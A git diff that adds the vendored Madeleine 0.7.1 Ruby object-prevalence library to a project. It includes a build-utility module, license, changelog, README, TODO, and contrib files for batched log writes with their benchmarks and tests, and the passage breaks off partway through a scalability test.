UtilityFunctions + + # The list of regexen that eliminate files from the MANIFEST + ANTIMANIFEST = [ + /makedist\.rb/, + /\bCVS\b/, + /~$/, + /^#/, + %r{docs/html}, + %r{docs/man}, + /\bTEMPLATE\.\w+\.tpl\b/, + /\.cvsignore/, + /\.s?o$/, + ] + AMRegexp = Regexp::union( *ANTIMANIFEST ) + + # Set some ANSI escape code constants (Shamelessly stolen from Perl's + # Term::ANSIColor by Russ Allbery and Zenin + AnsiAttributes = { + 'clear' => 0, + 'reset' => 0, + 'bold' => 1, + 'dark' => 2, + 'underline' => 4, + 'underscore' => 4, + 'blink' => 5, + 'reverse' => 7, + 'concealed' => 8, + + 'black' => 30, 'on_black' => 40, + 'red' => 31, 'on_red' => 41, + 'green' => 32, 'on_green' => 42, + 'yellow' => 33, 'on_yellow' => 43, + 'blue' => 34, 'on_blue' => 44, + 'magenta' => 35, 'on_magenta' => 45, + 'cyan' => 36, 'on_cyan' => 46, + 'white' => 37, 'on_white' => 47 + } + + ErasePreviousLine = "\033[A\033[K" + + + ############### + module_function + ############### + + # Create a string that contains the ANSI codes specified and return it + def ansiCode( *attributes ) + return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] + attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') + if attr.empty? + return '' + else + return "\e[%sm" % attr + end + end + + + # Test for the presence of the specified library, and output a + # message describing the test using nicename. If nicename + # is nil, the value in library is used to build a default. + def testForLibrary( library, nicename=nil ) + nicename ||= library + message( "Testing for the #{nicename} library..." ) + found = false + + begin + require library + rescue LoadError => err + message "no found (%s)\n" % err.message + else + message "found\n" + found = true + end + + return found + end + + + # Test for the presence of the specified library, and output a + # message describing the problem using nicename. If + # nicename is nil, the value in library is used + # to build a default. If raaUrl and/or downloadUrl are + # specified, they are also use to build a message describing how to find the + # required library. If fatal is true, a missing library + # will cause the program to abort. + def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) + nicename ||= library + unless testForLibrary( library, nicename ) + msgs = [ "You are missing the required #{nicename} library.\n" ] + msgs << "RAA: #{raaUrl}\n" if raaUrl + msgs << "Download: #{downloadUrl}\n" if downloadUrl + if fatal + abort msgs.join('') + else + errorMessage msgs.join('') + end + end + return true + end + + ### Output msg as a ANSI-colored program/section header (white on + ### blue). + def header( msg ) + msg.chomp! + $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output msg to STDERR and flush it. + def message( msg ) + $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output the specified msg as an ANSI-colored error message + ### (white on red). + def errorMessage( msg ) + message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) + end + + ### Output the specified msg as an ANSI-colored debugging message + ### (yellow on blue). + def debugMsg( msg ) + return unless $DEBUG + msg.chomp! + $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) + $stderr.flush + end + + ### Erase the previous line (if supported by your terminal) and output the + ### specified msg instead. + def replaceMessage( msg ) + print ErasePreviousLine + message( msg ) + end + + ### Output a divider made up of length hyphen characters. + def divider( length=75 ) + puts "\r" + ("-" * length ) + end + alias :writeLine :divider + + ### Output the specified msg colored in ANSI red and exit with a + ### status of 1. + def abort( msg ) + print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" + Kernel.exit!( 1 ) + end + + ### Output the specified promptString as a prompt (in green) and + ### return the user's input with leading and trailing spaces removed. + def prompt( promptString ) + promptString.chomp! + return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip + end + + ### Prompt the user with the given promptString via #prompt, + ### substituting the given default if the user doesn't input + ### anything. + def promptWithDefault( promptString, default ) + response = prompt( "%s [%s]" % [ promptString, default ] ) + if response.empty? + return default + else + return response + end + end + + ### Search for the program specified by the given progname in the + ### user's PATH, and return the full path to it, or nil if + ### no such program is in the path. + def findProgram( progname ) + ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| + file = File.join( d, progname ) + return file if File.executable?( file ) + } + return nil + end + + ### Using the CVS log for the given file attempt to guess what the + ### next release version might be. This only works if releases are tagged + ### with tags like 'RELEASE_x_y'. + def extractNextVersionFromTags( file ) + message "Attempting to extract next release version from CVS tags for #{file}...\n" + raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) + cvsPath = findProgram( 'cvs' ) or + raise RuntimeError, "Cannot find the 'cvs' program. Aborting." + + output = %x{#{cvsPath} log #{file}} + release = [ 0, 0 ] + output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| + if $1.to_i > release[0] || $2.to_i > release[1] + release = [ $1.to_i, $2.to_i ] + replaceMessage( "Found %d.%02d...\n" % release ) + end + } + + if release[1] >= 99 + release[0] += 1 + release[1] = 1 + else + release[1] += 1 + end + + return "%d.%02d" % release + end + + + ### Write a new manifest file with the given +named+, moving any current one + ### aside with an ".old" suffix if +backup+ is true. + def makeManifest( name="MANIFEST", backup=true ) + message "Making manifest file '#{name}'" + + # Move an old one aside if a backup is desired + if backup and File::exists?( name ) + File::rename( name, name + ".old" ) + end + + File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| + Find::find( "." ) do |file| + Find.prune if AMRegexp =~ file + Find.prune if %r{/\.} =~ file + Find.prune if /TEMPLATE/ =~ file + next if File::directory?( file ) + + ofh.puts file + end + } + end + + + ### Read the specified manifestFile, which is a text file + ### describing which files to package up for a distribution. The manifest + ### should consist of one or more lines, each containing one filename or + ### shell glob pattern. + def readManifest( manifestFile="MANIFEST" ) + message "Reading manifest..." + raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile + + manifest = IO::readlines( manifestFile ).collect {|line| + line.chomp + }.select {|line| + line !~ /^(\s*(#.*)?)?$/ + } + + filelist = [] + for pat in manifest + $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE + filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} + end + + message "found #{filelist.length} files.\n" + return filelist + end + + + ### Given a filelist like that returned by #readManifest, remove + ### the entries therein which match the Regexp objects in the given + ### antimanifest and return the resultant Array. + def vetManifest( filelist, antimanifest=ANITMANIFEST ) + origLength = filelist.length + message "Vetting manifest..." + + for regex in antimanifest + if $VERBOSE + message "\n\tPattern /#{regex.source}/ removed: " + + filelist.find_all {|file| regex.match(file)}.join(', ') + end + filelist.delete_if {|file| regex.match(file)} + end + + message "removed #{origLength - filelist.length} files from the list.\n" + return filelist + end + + ### Combine a call to #readManifest with one to #vetManifest. + def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) + vetManifest( readManifest(manifestFile), antimanifest ) + end + + ### Given a documentation catalogFile, extract the title, if + ### available, and return it. Otherwise generate a title from the name of + ### the CVS module. + def findRdocTitle( catalogFile="docs/CATALOG" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Title: Foo Bar Module + title = findCatalogKeyword( 'title', catalogFile ) + + # If that doesn't work for some reason, try grabbing the name of the CVS + # repository the directory belongs to. + if title.nil? && File::directory?( "CVS" ) && + File::exists?( "CVS/Repository" ) + title = File::read( "CVS/Repository" ).chomp + end + + # As a last resort, use the name of the project directory + if title.nil? + distdir = File::dirname( __FILE__ ) + distdir = File::dirname( distdir ) if /docs$/ =~ distdir + title = File::basename( distdir ) + end + + return title + end + + ### Given a documentation catalogFile, extract the name of the file + ### to use as the initally displayed page. If extraction fails, the + ### +default+ will be used if it exists. Returns +nil+ if there is no main + ### file to be found. + def findRdocMain( catalogFile="docs/CATALOG", default="README" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Main: Foo Bar Module + main = findCatalogKeyword( 'main', catalogFile ) + + # Try to make some educated guesses if that doesn't work + if main.nil? + basedir = File::dirname( __FILE__ ) + basedir = File::dirname( basedir ) if /docs$/ =~ basedir + + if File::exists?( File::join(basedir, default) ) + main = default + end + end + + return main + end + + + ### Given a documentation catalogFile, extract an upload URL for + ### RDoc. + def findRdocUpload( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'upload', catalogFile ) + end + + + ### Given a documentation catalogFile, extract a CVS web frontend + ### URL for RDoc. + def findRdocCvsURL( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'webcvs', catalogFile ) + end + + + ### Given a documentation catalogFile, try extracting the given + ### +keyword+'s value from it. Keywords are lines that look like: + ### # : + ### Returns +nil+ if the catalog file was unreadable or didn't contain the + ### specified +keyword+. + def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) + val = nil + + if File::exists? catalogFile + message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile + File::foreach( catalogFile ) {|line| + debugMsg( "Examining line #{line.inspect}..." ) + val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line + } + end + + return val + end + + + ### Given a documentation catalogFile, which is in the same format + ### as that described by #readManifest, read and expand it, and then return + ### a list of those files which appear to have RDoc documentation in + ### them. If catalogFile is nil or does not exist, the MANIFEST + ### file is used instead. + def findRdocableFiles( catalogFile="docs/CATALOG" ) + startlist = [] + if File.exists? catalogFile + message "Using CATALOG file (%s).\n" % catalogFile + startlist = getVettedManifest( catalogFile ) + else + message "Using default MANIFEST\n" + startlist = getVettedManifest() + end + + message "Looking for RDoc comments in:\n" if $VERBOSE + startlist.select {|fn| + message " #{fn}: " if $VERBOSE + found = false + File::open( fn, "r" ) {|fh| + fh.each {|line| + if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} + found = true + break + end + } + } + + message( (found ? "yes" : "no") + "\n" ) if $VERBOSE + found + } + end + + ### Open a file and filter each of its lines through the given block a + ### line at a time. The return value of the block is used as the + ### new line, or omitted if the block returns nil or + ### false. + def editInPlace( file ) # :yields: line + raise "No block specified for editing operation" unless block_given? + + tempName = "#{file}.#{$$}" + File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| + File::unlink( tempName ) + File::open( file, File::RDONLY ) {|fh| + fh.each {|line| + newline = yield( line ) or next + tempfile.print( newline ) + } + } + + tempfile.seek(0) + + File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| + newfile.print( tempfile.read ) + } + } + end + + ### Execute the specified shell command, read the results, and + ### return them. Like a %x{} that returns an Array instead of a String. + def shellCommand( *command ) + raise "Empty command" if command.empty? + + cmdpipe = IO::popen( command.join(' '), 'r' ) + return cmdpipe.readlines + end + + ### Execute a block with $VERBOSE set to +false+, restoring it to its + ### previous value before returning. + def verboseOff + raise LocalJumpError, "No block given" unless block_given? + + thrcrit = Thread.critical + oldverbose = $VERBOSE + begin + Thread.critical = true + $VERBOSE = false + yield + ensure + $VERBOSE = oldverbose + Thread.critical = false + end + end + + + ### Try the specified code block, printing the given + def try( msg, bind=nil ) + result = nil + if msg =~ /^to\s/ + message = "Trying #{msg}..." + else + message = msg + end + + begin + rval = nil + if block_given? + rval = yield + else + file, line = caller(1)[0].split(/:/,2) + rval = eval( msg, bind, file, line.to_i ) + end + + result = rval.inspect + rescue Exception => err + if err.backtrace + nicetrace = err.backtrace.delete_if {|frame| + /in `(try|eval)'/ =~ frame + }.join("\n\t") + else + nicetrace = "Exception had no backtrace" + end + + result = err.message + "\n\t" + nicetrace + ensure + puts result + end + end + + def time + start = Time::now + stimes = Process::times + rval = yield + etimes = Process::times + $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ + etimes.utime - stimes.utime, + etimes.stime - stimes.stime, + Time::now.to_f - start.to_f, + ] + + return rval + end + +end diff --git a/vendor/madeleine-0.7.1/.cvsignore b/vendor/madeleine-0.7.1/.cvsignore new file mode 100755 index 00000000..c3c960b4 --- /dev/null +++ b/vendor/madeleine-0.7.1/.cvsignore @@ -0,0 +1,2 @@ +PrevalenceBase +*.gem diff --git a/vendor/madeleine-0.7.1/COPYING b/vendor/madeleine-0.7.1/COPYING new file mode 100755 index 00000000..19d570ec --- /dev/null +++ b/vendor/madeleine-0.7.1/COPYING @@ -0,0 +1,31 @@ + + Copyright (c) 2003-2004, Anders Bengtsson + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The names of its contributors may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND + CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, + INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS + BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF + THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. diff --git a/vendor/madeleine-0.7.1/NEWS b/vendor/madeleine-0.7.1/NEWS new file mode 100755 index 00000000..8fd9d325 --- /dev/null +++ b/vendor/madeleine-0.7.1/NEWS @@ -0,0 +1,55 @@ + +Madeleine 0.7.1 (August 22, 2004): + + * ZMarshal changed to work around Zlib bug. + * automatic_read_only fixed when intercepted class is inherited from + +Madeleine 0.7 (July 23, 2004): + + * Broken clock unit test on win32 fixed. + * AutomaticSnapshotMadeleine detects snapshot format on recovery + * Snapshot compression with Madeleine::ZMarshal + * YAML snapshots supported for automatic commands + * SOAP snapshots supported for automatic commands + * Read-only methods for automatic commands + +Madeleine 0.6.1 (March 30, 2004): + + * Bug fix: Use binary mode for I/O, fixes log replay + on mswin32 port of Ruby (Patch from Martin Tampe) + +Madeleine 0.6 (March 28, 2004): + + * Changed license to BSD + * Added a RubyGem specification + * Re-designed initialization (but still backward-compatible) + * Bug fix: Fixed use of finalized object's id in AutomaticSnapshotMadeleine + +Madeleine 0.5 (August 31, 2003): + + * Bug fix: Log order on recovery was wrong on some platforms + (Reported by IIMA Susumu) + * No longer requires the system clock to always increase + * Shared locks for queries + +Madeleine 0.4 (July 4, 2003): + + * Deprecated ClockedSnapshotMadeleine + * Added execute_query() + * API documentation in RDoc format + +Madeleine 0.3 (May 15, 2003): + + * Automatic commands + * Some classes exported to the default module + * Clock support not loaded by default (require 'madeleine/clock') + * Bug fix: Error handling when replaying logged commands. + * New system through block instead of argument (API change) + * Works in $SAFE = 1 + +Madeleine 0.2: + + * Supports custom marshalling implementations. + * Changed interface for ClockedSystem and Clock. + * Some documentation added, including API docs. + diff --git a/vendor/madeleine-0.7.1/README b/vendor/madeleine-0.7.1/README new file mode 100755 index 00000000..3fb6ce17 --- /dev/null +++ b/vendor/madeleine-0.7.1/README @@ -0,0 +1,78 @@ + +Madeleine is a Ruby implementation of Object Prevalence: Transparent +persistence of business objects using command logging and complete +system snapshots. + + + +Madeleine's design is based on Prevayler, the original Java +prevalence layer. + +Learn more about object prevalence at . + + +Installation: + + Typical installation procedure is: + $ ruby install.rb config + $ ruby install.rb setup + # ruby install.rb install (may require root privilege) + Try 'ruby install.rb --help' for detailed usage. + + [From the documentation of Minero Aoki's 'install.rb'] + +Usage: + + require 'madeleine' + + # Create an application as a prevalent system + + madeleine = SnapshotMadeleine.new("my_example_storage") { + SomeExampleApplication.new() + } + + # Do modifications of the system by sending commands through + # the Madeleine instance. A command is an object with a suitable + # "execute(system)" method. + + madeleine.execute_command(command) + + +Requirements: + + * Ruby 1.8.1 or later + + Additionaly, some of the sample code also uses ruby/tk. + + +Known problems: + + * Won't run in some Windows-ports of Ruby due to missing + fsync() call. + +Contact: + + Homepage: + + + Questions, bug reports, patches, complaints? Use the mailing list: + + +License: + + BSD (see the file COPYING) + +Credits: + + Anders Bengtsson - Prevalence core impl. + Stephen Sykes - Automatic commands impl. + + With the help of patches, testing and feedback from: + + Steve Conover, David Heinemeier Hansson, Johan Lind, Hkan Rberg, + IIMA Susumu, Martin Tampe and Jon Tirsn + + Thanks to Klaus Wuestefeld and the Prevayler developers for the + model of this software; to Minero Aoki for the installer; to Matz and + the core developers for the Ruby language! + diff --git a/vendor/madeleine-0.7.1/TODO b/vendor/madeleine-0.7.1/TODO new file mode 100755 index 00000000..d2e14f7b --- /dev/null +++ b/vendor/madeleine-0.7.1/TODO @@ -0,0 +1,23 @@ + + +- Fix broken time-dependent unit test +* Rolling snapshots, with age limit +- Compressed snapshots +- Full support for YAML snapshots +- SOAP marshalling +* Configurable log marshaller (or use the snapshot marshaller?) +* Write a document about the different marshallers, for app. developers. + +* Move all default implementations into a "Default" module +* Introduce an object representing a log directory +* Move recovery out of DefaultSnapshotMadeleine entirely +* Write an example with a web server + +* Replace filesystem with mock objects for unit testing. +* ClockCommand +* Integrate batched-writes in SnapshotMadeleine +* More sample code +* More documentation +* DRb integration +* Rollback +* Handle broken logs? diff --git a/vendor/madeleine-0.7.1/contrib/batched.rb b/vendor/madeleine-0.7.1/contrib/batched.rb new file mode 100755 index 00000000..2532cd64 --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/batched.rb @@ -0,0 +1,298 @@ +# Batched writes for Madeleine +# +# Copyright(c) Hkan Rberg 2003 +# +# +# This is an experimental implementation of batched log writes to mininize +# calls to fsync. It uses a Shared/Exclusive-Lock, implemented in sync.rb, +# which is included in Ruby 1.8. +# +# Writes are batched for a specified amount of time, before written to disk and +# then executed. +# +# For a detailed discussion about the problem, see +# http://www.prevayler.org/wiki.jsp?topic=OvercomingTheWriteBottleneck +# +# +# Usage is identical to normal SnapshotMadeleine, and it can also be used as +# persister for AutomaticSnapshotMadeleine. (One difference: the log isn't +# visible on disk until any commands are executed.) +# +# You can also use the execute_query method for shared synchronzied queries, +# for eaay coarse-grained locking of the system. +# +# The exclusive lock is only locked during the actual execution of commands and +# while closing. +# +# Keeping both log writes and executes of commands in the originating thread +# is needed by AutomaticSnapshotPrevayler. Hence the strange SimplisticPipe +# class. +# +# Todo: +# - It seems like Sync (sync.rb) prefers shared locks. This should probably +# be changed. +# +# +# Madeleine - Ruby Object Prevalence +# +# Copyright(c) Anders Bengtsson 2003 +# + +require 'madeleine' +require 'madeleine/clock' + +include Madeleine::Clock + +module Madeleine + module Batch + class BatchedSnapshotMadeleine < SnapshotMadeleine + + def initialize(directory_name, marshaller=Marshal, &new_system_block) + super(directory_name, marshaller, &new_system_block) + @log_actor = LogActor.launch(self) + end + + def execute_command(command) + verify_command_sane(command) + queued_command = QueuedCommand.new(command) + @lock.synchronize(:SH) do + raise "closed" if @closed + @logger.store(queued_command) + end + queued_command.wait_for + end + + def execute_query(query) + verify_command_sane(query) + @lock.synchronize(:SH) do + execute_without_storing(query) + end + end + + def close + @log_actor.destroy + @lock.synchronize do + @logger.close + @closed = true + end + end + + def flush + @lock.synchronize do + @logger.flush + end + end + + def take_snapshot + @lock.synchronize(:SH) do + @lock.synchronize do + @logger.close + end + Snapshot.new(@directory_name, system, @marshaller).take + @logger.reset + end + end + + private + + def create_lock + Sync.new + end + + def create_logger(directory_name, log_factory) + BatchedLogger.new(directory_name, log_factory, self.system) + end + + def log_factory + BatchedLogFactory.new + end + end + + private + + class LogActor + def self.launch(madeleine, delay=0.01) + result = new(madeleine, delay) + result + end + + def destroy + @is_destroyed = true + if @thread.alive? + @thread.wakeup + @thread.join + end + end + + private + + def initialize(madeleine, delay) + @is_destroyed = false + + madeleine.flush + @thread = Thread.new { + until @is_destroyed + sleep(delay) + madeleine.flush + end + } + end + end + + class BatchedLogFactory + def create_log(directory_name) + BatchedLog.new(directory_name) + end + end + + class BatchedLogger < Logger + def initialize(directory_name, log_factory, system) + super(directory_name, log_factory) + @buffer = [] + @system = system + end + + def store(queued_command) + @buffer << queued_command + end + + def close + return if @log.nil? + flush + @log.close + @log = nil + end + + def flush + return if @buffer.empty? + + open_new_log if @log.nil? + + if @system.kind_of?(ClockedSystem) + @buffer.unshift(QueuedTick.new) + end + + @buffer.each do |queued_command| + queued_command.store(@log) + end + + @log.flush + + @buffer.each do |queued_command| + queued_command.execute(@system) + end + + @buffer.clear + end + end + + class BatchedLog < CommandLog + def store(command) + Marshal.dump(command, @file) + end + + def flush + @file.flush + @file.fsync + end + end + + class QueuedCommand + def initialize(command) + @command = command + @pipe = SimplisticPipe.new + end + + def store(log) + @pipe.write(log) + end + + def execute(system) + @pipe.write(system) + end + + def wait_for + @pipe.read do |log| + log.store(@command) + end + + @pipe.read do |system| + return @command.execute(system) + end + end + end + + class QueuedTick + def initialize + @tick = Tick.new(Time.now) + end + + def store(log) + log.store(@tick) + end + + def execute(system) + @tick.execute(system) + end + end + + class SimplisticPipe + def initialize + @receive_lock = Mutex.new.lock + @consume_lock = Mutex.new.lock + @message = nil + end + + def read + begin + wait_for_message_received + + if block_given? + yield @message + else + return @message + end + + ensure + message_consumed + end + end + + def write(message) + raise WriteBlockedException unless can_write? + + @message = message + message_received + wait_for_message_consumed + @message = nil + end + + def can_write? + @message.nil? + end + + private + + def message_received + @receive_lock.unlock + end + + def wait_for_message_received + @receive_lock.lock + end + + def message_consumed + @consume_lock.unlock + end + + def wait_for_message_consumed + @consume_lock.lock + end + end + + class WriteBlockedException < Exception + end + end +end + +BatchedSnapshotMadeleine = Madeleine::Batch::BatchedSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/contrib/benchmark.rb b/vendor/madeleine-0.7.1/contrib/benchmark.rb new file mode 100755 index 00000000..6bb89b42 --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/benchmark.rb @@ -0,0 +1,35 @@ +#!/usr/local/bin/ruby -w + +$LOAD_PATH.unshift("../lib") + +require 'madeleine' +require 'batched' + +class BenchmarkCommand + def initialize(value) + @value = value + end + + def execute(system) + # do nothing + end +end + +madeleine = BatchedSnapshotMadeleine.new("benchmark-base") { :the_system } + +RUNS = 2000 + +GC.start +GC.disable + +t0 = Time.now +RUNS.times { + madeleine.execute_command(BenchmarkCommand.new(1234)) +} +t1 = Time.now + +GC.enable + +tps = RUNS/(t1 - t0) + +puts "#{tps.to_i} transactions/s" diff --git a/vendor/madeleine-0.7.1/contrib/test_batched.rb b/vendor/madeleine-0.7.1/contrib/test_batched.rb new file mode 100755 index 00000000..7011634e --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/test_batched.rb @@ -0,0 +1,245 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003 Hkan Rberg +# +# Some components taken from test_persistence.rb +# Copyright(c) 2003 Anders Bengtsson +# + +$LOAD_PATH.unshift("../lib") + +require 'batched' +require 'test/unit' +require 'madeleine/clock' + + +module Madeleine::Batch + class BatchedSnapshotMadeleineTest < Test::Unit::TestCase + + class ArraySystem < Array + include Madeleine::Clock::ClockedSystem + end + + class PushCommand + def initialize(value) + @value = value + end + + def execute(system) + system << @value + end + end + + class ArrayQuery + def initialize + @time = [] + end + + def execute(system) + length = system.length + @time << system.clock.time + + a = 1 + system.each do |n| + a *= n + end + + raise "inconsistent read" unless length == system.length + raise "inconsistent read" unless @time.last == system.clock.time + end + end + + def test_live_snapshot + system = ArraySystem.new + w, r = [], [] + going = true + + madeleine = BatchedSnapshotMadeleine.new(prevalence_base) { system } + + i = 0 + 10.times do |n| + w[n] = Thread.new { + while going + madeleine.execute_command(PushCommand.new(i)) + i += 1 + sleep(0.1) + end + } + end + + q = 0 + query = ArrayQuery.new + 100.times do |n| + r[n] = Thread.new { + while going + begin + madeleine.execute_query(query) + q += 1 + rescue + fail("Query blocks writing") + end + sleep(0.1) + end + } + end + + s = 0 + snapshot = Thread.new { + while going + madeleine.take_snapshot + s += 1 + sleep(0.01) + end + } + + sleep(1) + + going = false + + r.each do |t| + t.join + end + + w.each do |t| + t.join + end + + snapshot.join + + madeleine.close + + madeleine2 = SnapshotMadeleine.new(prevalence_base) + assert_equal(madeleine.system, madeleine2.system, "Take system snapshots while accessing") + end + + def prevalence_base + "BatchedSnapshot" + end + + def teardown + delete_directory(prevalence_base) + end + end + + class BatchedLogTest < Test::Unit::TestCase + + class MockMadeleine + def initialize(logger) + @logger = logger + end + + def flush + @logger.flush + end + end + + class MockCommand + attr_reader :text + + def initialize(text) + @text = text + end + + def execute(system) + end + + def ==(o) + o.text == @text + end + end + + module BufferInspector + def buffer_size + @buffer.size + end + end + + def setup + @target = BatchedLogger.new(".", BatchedLogFactory.new, nil) + @target.extend(BufferInspector) + @madeleine = MockMadeleine.new(@target) + @messages = [] + end + + def test_logging + actor = LogActor.launch(@madeleine, 0.1) + + append("Hello") + sleep(0.01) + append("World") + sleep(0.01) + + assert_equal(2, @target.buffer_size, "Batched command queue") + assert(!File.exist?(expected_file_name), "Batched commands not on disk") + + sleep(0.2) + + assert_equal(0, @target.buffer_size, "Queue emptied by batched write") + file_size = File.size(expected_file_name) + assert(file_size > 0, "Queue written to disk") + + append("Again") + sleep(0.2) + + assert(File.size(expected_file_name) > file_size, "Command written to disk") + + f = File.new(expected_file_name) + + @messages.each do |message| + assert_equal(message, Marshal.load(f), "Commands logged in order") + end + + f.close + + actor.destroy + @target.flush + @target.close + + end + + def append(text) + Thread.new { + message = MockCommand.new(text) + @messages << message + queued_command = QueuedCommand.new(message) + @target.store(queued_command) + queued_command.wait_for + } + end + + def expected_file_name + "000000000000000000001.command_log" + end + + def teardown + assert(File.delete(expected_file_name) == 1) + end + + end + + def delete_directory(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + assert(File.delete(directory_name + File::SEPARATOR + file) == 1, + "Unable to delete #{file}") + end + Dir.delete(directory_name) + end +end + + include Madeleine::Batch + +def add_batched_tests(suite) + suite << BatchedSnapshotMadeleineTest.suite + suite << BatchedLogTest.suite +end + +if __FILE__ == $0 + suite = Test::Unit::TestSuite.new("BatchedLogTest") + add_batched_tests(suite) + + require 'test/unit/ui/console/testrunner' + Thread.abort_on_exception = true + Test::Unit::UI::Console::TestRunner.run(suite) +end diff --git a/vendor/madeleine-0.7.1/contrib/test_scalability.rb b/vendor/madeleine-0.7.1/contrib/test_scalability.rb new file mode 100755 index 00000000..99b7dc5d --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/test_scalability.rb @@ -0,0 +1,248 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003 Hkan Rberg +# +# This test is based on Prevaylers TransactionTestRun, +# Copyright(c) 2001-2003 Klaus Wuestefeld. +# + +$LOAD_PATH.unshift("../lib") + +require 'madeleine' +require 'madeleine/clock' +require 'batched' + +module ScalabilityTest + + class TransactionTestRun + MIN_THREADS = 20 + MAX_THREADS = 20 + NUMBER_OF_OBJECTS = 100000 + ROUND_DURATION = 20 + DIR = "ScalabilityBase" + + def initialize + @system = TransactionSystem.new + @madeleine = BatchedSnapshotMadeleine.new(DIR) { @system } + + @system.replace_all_records(create_records(NUMBER_OF_OBJECTS)) + + @is_round_finished = false + + @best_round_ops_per_s = 0 + @best_round_threads = 0 + @operation_count = 0 + @last_operation = 0 + @active_round_threads = 0 + + @half_of_the_objects = NUMBER_OF_OBJECTS / 2 + + @connection_cache = [] + @connection_cache_lock = Mutex.new + + ObjectSpace.garbage_collect + + puts "========= Running " + name + " (" + (MAX_THREADS - MIN_THREADS + 1).to_s + " rounds). Subject: " + subject_name + "..." + puts "Each round will take approx. " + ROUND_DURATION.to_s + " seconds to run..." + perform_test + puts "----------- BEST ROUND: " + result_string(@best_round_ops_per_s, @best_round_threads) + + @madeleine.close + delete_directory(DIR) + end + + def name + "Transaction Test" + end + + def subject_name + "Madeleine" + end + + def result_string(ops_per_s, threads) + ops_per_s.to_s + " operations/second (" + threads.to_s + " threads)" + end + + def perform_test + for threads in MIN_THREADS..MAX_THREADS + ops_per_s = perform_round(threads) + if ops_per_s > @best_round_ops_per_s + @best_round_ops_per_s = ops_per_s + @best_round_threads = threads + end + end + end + + def perform_round(threads) + initial_operation_count = @operation_count + start_time = Time.now.to_f + + start_threads(threads) + sleep(ROUND_DURATION) + stop_threads + + seconds_ellapsed = Time.now.to_f - start_time + ops_per_second = (@operation_count - initial_operation_count) / seconds_ellapsed + + puts + puts "Seconds ellapsed: " + seconds_ellapsed.to_s + puts "--------- Round Result: " + result_string(ops_per_second, threads) + + ops_per_second + end + + def start_threads(threads) + @is_round_finished = false + for i in 1..threads + start_thread(@last_operation + i, threads) + end + end + + def start_thread(starting_operation, operation_increment) + Thread.new { + connection = accquire_connection + + operation = starting_operation + while not @is_round_finished + # puts "Operation " + operation.to_s + execute_operation(connection, operation) + operation += operation_increment + end + + @connection_cache_lock.synchronize do + @connection_cache << connection + @operation_count += (operation - starting_operation) / operation_increment + @last_operation = operation if @last_operation < operation + @active_round_threads -= 1 + end + } + @active_round_threads += 1 + end + + def execute_operation(connection, operation) + record_to_insert = Record.new(NUMBER_OF_OBJECTS + operation) + id_to_delete = spread_id(operation) + record_to_update = Record.new(@half_of_the_objects + id_to_delete) + + connection.perform_transaction(record_to_insert, record_to_update, id_to_delete) + end + + def spread_id(id) + (id / @half_of_the_objects) * @half_of_the_objects + ((id 